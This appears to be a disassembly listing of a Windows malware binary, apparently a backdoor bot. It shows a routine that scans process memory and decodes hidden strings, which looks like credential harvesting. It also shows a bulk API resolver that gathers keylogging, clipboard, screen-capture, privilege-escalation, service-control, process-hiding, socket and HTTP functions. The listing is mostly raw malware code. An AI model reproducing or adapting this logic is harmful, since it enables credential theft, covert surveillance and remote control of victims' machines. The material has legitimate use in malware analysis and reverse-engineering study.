loc_40941B:				; CODE XREF: sub_409307+102j
		test	edi, edi
		jz	short loc_40948D
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 7C80E866h
		test	eax, eax
		jz	short loc_409456
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 7C80E7ECh
		test	eax, eax
		jz	short loc_409456
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_409456:				; CODE XREF: sub_409307+12Bj
					; sub_409307+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_44127C, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_441274, eax
		mov	dword_441278, edi


loc_40948D:				; CODE XREF: sub_409307+90j
					; sub_409307+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		nop
		call	near ptr 7C91043Dh
		mov	esi, [ebp+var_10]


loc_40949E:				; CODE XREF: sub_409307+74j
		push	[ebp+var_4]
		nop
		call	near ptr 7C809B47h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_4094AB:				; CODE XREF: sub_409307+24j
		pop	esi
		leave
		retn
sub_409307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4094AE	proc near		; CODE XREF: sub_408FAC:loc_4090A4p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 7C8309E1h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4095A0
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 7C812D56h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_409597
		mov	edi, dword_4210E8


loc_4094F9:				; CODE XREF: sub_4094AE+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80B9A0h
		test	eax, eax
		jz	short loc_409585
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_40958B
		test	[ebp+var_13], 1
		jnz	short loc_40958B
		push	ecx
		push	8
		call	edi	; GetProcessHeap
		push	eax
		nop
		call	near ptr 7C9105D4h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 7C8021CCh
		test	eax, eax
		jz	short loc_409577
		push	offset dword_440058
		push	esi
		call	sub_42047C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409577
		lea	eax, [esi+400h]
		push	offset dword_440858
		push	eax
		call	sub_42047C
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4095A7


loc_409577:				; CODE XREF: sub_4094AE+9Fj
					; sub_4094AE+B0j
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		nop
		call	near ptr 7C91043Dh
		jmp	short loc_40958B
; ---------------------------------------------------------------------------


loc_409585:				; CODE XREF: sub_4094AE+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_40958B:				; CODE XREF: sub_4094AE+71j
					; sub_4094AE+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_4094F9


loc_409597:				; CODE XREF: sub_4094AE+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 7C809B47h


loc_4095A0:				; CODE XREF: sub_4094AE+1Ej
		xor	eax, eax


loc_4095A2:				; CODE XREF: sub_4094AE+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4095A7:				; CODE XREF: sub_4094AE+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_441274, ebx
		mov	dword_441278, eax
		cmp	[eax], cl
		jnz	short loc_4095C9
		cmp	[eax+1], cl
		jz	short loc_4095D1


loc_4095C9:				; CODE XREF: sub_4094AE+114j
					; sub_4094AE+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4095C9


loc_4095D1:				; CODE XREF: sub_4094AE+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 7C809B47h
		push	1
		pop	eax
		jmp	short loc_4095A2
sub_4094AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095E4	proc near		; CODE XREF: sub_408FAC+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_441270
		push	esi
		mov	esi, dword_4210E8
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi	; GetProcessHeap
		push	eax
		nop
		call	near ptr 7C9105D4h
		mov	ecx, dword_441270
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_441278
		push	eax
		call	sub_417490
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_44127C
		push	eax
		call	dword_44105C	; RtlRunDecodeUnicodeString
		push	[ebp+var_4]
		mov	edi, offset dword_441068
		push	offset dword_440058
		push	offset dword_440858
		push	[ebp+arg_0]
		push	offset unk_42AD40
		push	200h
		push	edi
		call	sub_41792A
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		nop
		call	near ptr 7C91043Dh
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4095E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40967B	proc near		; CODE XREF: sub_408FAC:loc_4090E8p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_441270
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 7C80ABC1h
		push	eax
		nop
		call	near ptr 7C9105D4h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_440858
		mov	edi, 200h
		mov	esi, offset dword_43FE58


loc_4096C1:				; CODE XREF: sub_40967B+FAj
		mov	eax, dword_441270
		add	eax, eax
		push	eax
		push	dword_441278
		push	[ebp+var_14]
		call	sub_417490
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_44105C	; RtlRunDecodeUnicodeString
		mov	eax, dword_441270
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_409736


loc_4096FE:				; CODE XREF: sub_40967B+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_409753
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_409722
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_409722
		cmp	dl, 20h
		jnb	short loc_40971C
		and	[ebp+var_8], 0


loc_40971C:				; CODE XREF: sub_40967B+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_409726


loc_409722:				; CODE XREF: sub_40967B+90j
					; sub_40967B+96j
		and	[ebp+var_8], 0


loc_409726:				; CODE XREF: sub_40967B+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_4096FE
		cmp	[ebp+var_8], 0
		jz	short loc_409753


loc_409736:				; CODE XREF: sub_40967B+81j
		push	[ebp+var_14]
		push	offset dword_440058
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42AD40
		push	edi
		push	esi
		call	sub_41792A
		add	esp, 1Ch
		jmp	short loc_40976B
; ---------------------------------------------------------------------------


loc_409753:				; CODE XREF: sub_40967B+87j
					; sub_40967B+B9j
		push	offset dword_440058
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42ADAC
		push	edi
		push	esi
		call	sub_41792A
		add	esp, 18h


loc_40976B:				; CODE XREF: sub_40967B+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4096C1
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 7C80ABC1h
		push	eax
		nop
		call	near ptr 7C91043Dh
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40967B	endp


; =============== S U B	R O U T	I N E =======================================



sub_409794	proc near		; CODE XREF: ___:0040EC83p
		push	ebx
		push	ebp
		mov	ebp, dword_4210FC
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4210D8
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_4098B4
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_441464, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4413D8, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4413BC, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4412D8, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_441284, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4412B4, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_441328, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_441418, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_441474, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4412E4, eax
		call	esi	; GetProcAddress
		cmp	dword_441464, ebx
		mov	dword_4412CC, eax
		jz	short loc_409892
		cmp	dword_4413D8, ebx
		jz	short loc_409892
		cmp	dword_4413BC, ebx
		jz	short loc_409892
		cmp	dword_4412D8, ebx
		jz	short loc_409892
		cmp	dword_4412B4, ebx
		jz	short loc_409892
		cmp	dword_441328, ebx
		jz	short loc_409892
		cmp	dword_441418, ebx
		jz	short loc_409892
		cmp	dword_441474, ebx
		jz	short loc_409892
		cmp	dword_4412E4, ebx
		jz	short loc_409892
		cmp	eax, ebx
		jnz	short loc_40989C


loc_409892:				; CODE XREF: sub_409794+B8j
					; sub_409794+C0j ...
		mov	dword_441478, 1


loc_40989C:				; CODE XREF: sub_409794+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4413F0, eax
		jz	short loc_4098C9
		push	1
		push	ebx
		call	eax
		jmp	short loc_4098C9
; ---------------------------------------------------------------------------


loc_4098B4:				; CODE XREF: sub_409794+1Dj
		nop
		call	near ptr 7C910331h
		mov	dword_44147C, eax
		mov	dword_441478, 1


loc_4098C9:				; CODE XREF: sub_409794+117j
					; sub_409794+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 7C801D77h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4099DE
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_441414, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4413C4, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_441358, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_441468, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_441388, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4413A8, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_44140C, eax
		call	esi	; GetProcAddress
		cmp	dword_441414, ebx
		mov	dword_441300, eax
		jz	short loc_409982
		cmp	dword_4413C4, ebx
		jz	short loc_409982
		cmp	dword_441358, ebx
		jz	short loc_409982
		cmp	dword_441468, ebx
		jz	short loc_409982
		cmp	dword_441388, ebx
		jz	short loc_409982
		cmp	dword_4413A8, ebx
		jz	short loc_409982
		cmp	dword_44140C, ebx
		jz	short loc_409982
		cmp	eax, ebx
		jnz	short loc_40998C


loc_409982:				; CODE XREF: sub_409794+1B8j
					; sub_409794+1C0j ...
		mov	dword_441480, 1


loc_40998C:				; CODE XREF: sub_409794+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_441384, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_441298, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_441354, eax
		call	esi	; GetProcAddress
		cmp	dword_441384, ebx
		mov	dword_441340, eax
		jz	short loc_4099E9
		cmp	dword_441298, ebx
		jz	short loc_4099E9
		cmp	dword_441354, ebx
		jz	short loc_4099E9
		cmp	eax, ebx
		jnz	short loc_4099F3
		jmp	short loc_4099E9
; ---------------------------------------------------------------------------


loc_4099DE:				; CODE XREF: sub_409794+144j
		nop
		call	near ptr 7C910331h
		mov	dword_441484, eax


loc_4099E9:				; CODE XREF: sub_409794+232j
					; sub_409794+23Aj ...
		mov	dword_441480, 1


loc_4099F3:				; CODE XREF: sub_409794+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B8E
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_441428, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_44136C, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4413DC, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4412C4, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_441324, eax
		call	esi	; GetProcAddress
		cmp	dword_441428, ebx
		mov	dword_441394, eax
		jz	short loc_409A7E
		cmp	dword_44136C, ebx
		jz	short loc_409A7E
		cmp	dword_4413DC, ebx
		jz	short loc_409A7E
		cmp	dword_4412C4, ebx
		jz	short loc_409A7E
		cmp	dword_441324, ebx
		jz	short loc_409A7E
		cmp	eax, ebx
		jnz	short loc_409A88


loc_409A7E:				; CODE XREF: sub_409794+2C4j
					; sub_409794+2CCj ...
		mov	dword_441488, 1


loc_409A88:				; CODE XREF: sub_409794+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_44139C, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_441374, eax
		call	esi	; GetProcAddress
		cmp	dword_44139C, ebx
		mov	dword_441424, eax
		jz	short loc_409AC3
		cmp	dword_441374, ebx
		jz	short loc_409AC3
		cmp	eax, ebx
		jnz	short loc_409ACD


loc_409AC3:				; CODE XREF: sub_409794+321j
					; sub_409794+329j
		mov	dword_441488, 1


loc_409ACD:				; CODE XREF: sub_409794+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4413AC, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4412A0, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4412A8, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_441308, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_44130C, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4412BC, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_441378, eax
		call	esi	; GetProcAddress
		cmp	dword_4413AC, ebx
		mov	dword_4412AC, eax
		jz	short loc_409B71
		cmp	dword_4412A0, ebx
		jz	short loc_409B71
		cmp	dword_4412A8, ebx
		jz	short loc_409B71
		cmp	dword_441308, ebx
		jz	short loc_409B71
		cmp	dword_44130C, ebx
		jz	short loc_409B71
		cmp	dword_4412BC, ebx
		jz	short loc_409B71
		cmp	dword_441378, ebx
		jz	short loc_409B71
		cmp	eax, ebx
		jnz	short loc_409B7B


loc_409B71:				; CODE XREF: sub_409794+3A7j
					; sub_409794+3AFj ...
		mov	dword_441488, 1


loc_409B7B:				; CODE XREF: sub_409794+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4412A4, eax
		jnz	short loc_409BA3
		jmp	short loc_409B99
; ---------------------------------------------------------------------------


loc_409B8E:				; CODE XREF: sub_409794+26Aj
		nop
		call	near ptr 7C910331h
		mov	dword_44148C, eax


loc_409B99:				; CODE XREF: sub_409794+3F8j
		mov	dword_441488, 1


loc_409BA3:				; CODE XREF: sub_409794+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409C6F
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4413A4, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4413FC, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_441404, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4413C0, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4412E8, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_441294, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_441400, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_441280, eax
		call	esi	; GetProcAddress
		cmp	dword_4413A4, ebx
		mov	dword_44131C, eax
		jz	short loc_409C7A
		cmp	dword_4413FC, ebx
		jz	short loc_409C7A
		cmp	dword_441404, ebx
		jz	short loc_409C7A
		cmp	dword_4413C0, ebx
		jz	short loc_409C7A
		cmp	dword_4412E8, ebx
		jz	short loc_409C7A
		cmp	dword_441294, ebx
		jz	short loc_409C7A
		cmp	dword_441400, ebx
		jz	short loc_409C7A
		cmp	dword_441280, ebx
		jz	short loc_409C7A
		cmp	eax, ebx
		jnz	short loc_409C84
		jmp	short loc_409C7A
; ---------------------------------------------------------------------------


loc_409C6F:				; CODE XREF: sub_409794+41Aj
		nop
		call	near ptr 7C910331h
		mov	dword_441494, eax


loc_409C7A:				; CODE XREF: sub_409794+49Bj
					; sub_409794+4A3j ...
		mov	dword_441490, 1


loc_409C84:				; CODE XREF: sub_409794+4D7j
		mov	ebp, dword_4210DC
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F40
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_441330, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_44145C, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4412D4, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4412B0, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_441364, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_44134C, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_441318, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_441438, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_441454, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_441360, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_441444, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4413F8, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4413B8, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4413B4, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4412F4, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_4412EC, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_441408, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_44141C, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4413D0, eax
		call	esi	; GetProcAddress
		mov	dword_441390, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4413E4, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4413A0, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4413E0, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_44144C, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_441398, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_44135C, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4413CC, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_44143C, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_441370, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_441314, eax
		call	esi	; GetProcAddress
		cmp	dword_441330, ebx
		mov	dword_441450, eax
		jz	loc_409F4B
		cmp	dword_44145C, ebx
		jz	loc_409F4B
		cmp	dword_4412D4, ebx
		jz	loc_409F4B
		cmp	dword_441364, ebx
		jz	loc_409F4B
		cmp	dword_44134C, ebx
		jz	loc_409F4B
		cmp	dword_441318, ebx
		jz	loc_409F4B
		cmp	dword_441438, ebx
		jz	loc_409F4B
		cmp	dword_441454, ebx
		jz	loc_409F4B
		cmp	dword_441360, ebx
		jz	loc_409F4B
		cmp	dword_441444, ebx
		jz	loc_409F4B
		cmp	dword_4413F8, ebx
		jz	loc_409F4B
		cmp	dword_4413B8, ebx
		jz	loc_409F4B
		cmp	dword_4413B4, ebx
		jz	loc_409F4B
		cmp	dword_4412F4, ebx
		jz	short loc_409F4B
		cmp	dword_441408, ebx
		jz	short loc_409F4B
		cmp	dword_44141C, ebx
		jz	short loc_409F4B
		cmp	dword_4413D0, ebx
		jz	short loc_409F4B
		cmp	dword_441390, ebx
		jz	short loc_409F4B
		cmp	dword_4413E4, ebx
		jz	short loc_409F4B
		cmp	dword_4413A0, ebx
		jz	short loc_409F4B
		cmp	dword_4413E0, ebx
		jz	short loc_409F4B
		cmp	dword_44144C, ebx
		jz	short loc_409F4B
		cmp	dword_441398, ebx
		jz	short loc_409F4B
		cmp	dword_44135C, ebx
		jz	short loc_409F4B
		cmp	dword_4413CC, ebx
		jz	short loc_409F4B
		cmp	dword_44143C, ebx
		jz	short loc_409F4B
		cmp	dword_441370, ebx
		jz	short loc_409F4B
		cmp	eax, ebx
		jnz	short loc_409F55
		jmp	short loc_409F4B
; ---------------------------------------------------------------------------


loc_409F40:				; CODE XREF: sub_409794+501j
		nop
		call	near ptr 7C910331h
		mov	dword_44149C, eax


loc_409F4B:				; CODE XREF: sub_409794+6A0j
					; sub_409794+6ACj ...
		mov	dword_441498, 1


loc_409F55:				; CODE XREF: sub_409794+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A05A
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4412FC, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_441288, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_441380, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_441334, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_44138C, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_441350, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4412C8, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4412C0, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4412D0, eax
		call	esi	; GetProcAddress
		cmp	dword_4412FC, ebx
		mov	ecx, dword_441350
		mov	dword_4413EC, eax
		jz	short loc_40A036
		cmp	dword_441288, ebx
		jz	short loc_40A036
		cmp	dword_441380, ebx
		jz	short loc_40A036
		cmp	dword_441334, ebx
		jz	short loc_40A036
		cmp	dword_44138C, ebx
		jz	short loc_40A036
		cmp	ecx, ebx
		jz	short loc_40A036
		cmp	dword_4412C8, ebx
		jz	short loc_40A036
		cmp	dword_4412C0, ebx
		jz	short loc_40A036
		cmp	dword_4412D0, ebx
		jz	short loc_40A036
		cmp	eax, ebx
		jnz	short loc_40A040


loc_40A036:				; CODE XREF: sub_409794+860j
					; sub_409794+868j ...
		mov	dword_4414A0, 1


loc_40A040:				; CODE XREF: sub_409794+8A0j
		cmp	ecx, ebx
		jz	short loc_40A075
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_441368, eax
		jnz	short loc_40A075
		jmp	short loc_40A06F
; ---------------------------------------------------------------------------


loc_40A05A:				; CODE XREF: sub_409794+7CCj
		nop
		call	near ptr 7C910331h
		mov	dword_4414A4, eax
